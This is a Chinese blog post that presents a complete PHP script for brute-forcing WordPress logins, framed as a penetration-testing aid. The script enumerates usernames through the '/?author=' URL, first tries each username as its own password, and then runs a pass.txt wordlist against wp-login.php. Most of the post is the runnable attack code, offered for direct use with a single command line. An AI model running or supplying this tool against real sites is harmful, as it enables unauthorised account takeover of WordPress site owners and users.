在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。
大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。
原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。
默认获取前10个用户,可自行修改。
使用方法:
php wordpress.php http://www.test.com
#!php <?php set_time_limit(0); $domain = $argv[1]; //获取用户名 for ($i=1; $i <= 10; $i++) { $url = $domain."/?author=".$i; $response = httprequest($url,0); if ($response == 404) { continue; } $pattern = "/author//(.*)//feed/"; preg_match($pattern, $response, $name); $namearray[] = $name[1]; } echo "共获取用户".count($namearray)."名用户/n"; echo "正在破解用户名与密码相同的用户:/n"; $crackname = crackpassword($namearray,"same"); $passwords = file("pass.txt"); echo "正在破解弱口令用户:/n"; if ($crackname) { $namearray = array_diff($namearray,$crackname); } crackpassword($namearray,$passwords); function crackpassword($namearray,$passwords){ global $domain; $crackname = ""; foreach ($namearray as $name) { $url = $domain."/wp-login.php"; if ($passwords == "same") { $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1"; $pos = strpos(httprequest($url,$post),'div id="login_error"'); if ($pos === false) { echo "$name $name"."/n"; $crackname[] = $name; } }else{ foreach ($passwords as $pass) { $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1"; $pos = strpos(httprequest($url,$post),'div id="login_error"'); if ($pos === false) { echo "$name $pass"."/n"; } } } } return $crackname; } function httprequest($url,$post){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); if($post){ curl_setopt($ch, CURLOPT_POST, 1);//post提交方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $output = curl_exec($ch); $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); if ($httpcode == 404) { return 404; }else{ return $output; } } ?>
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/55778.html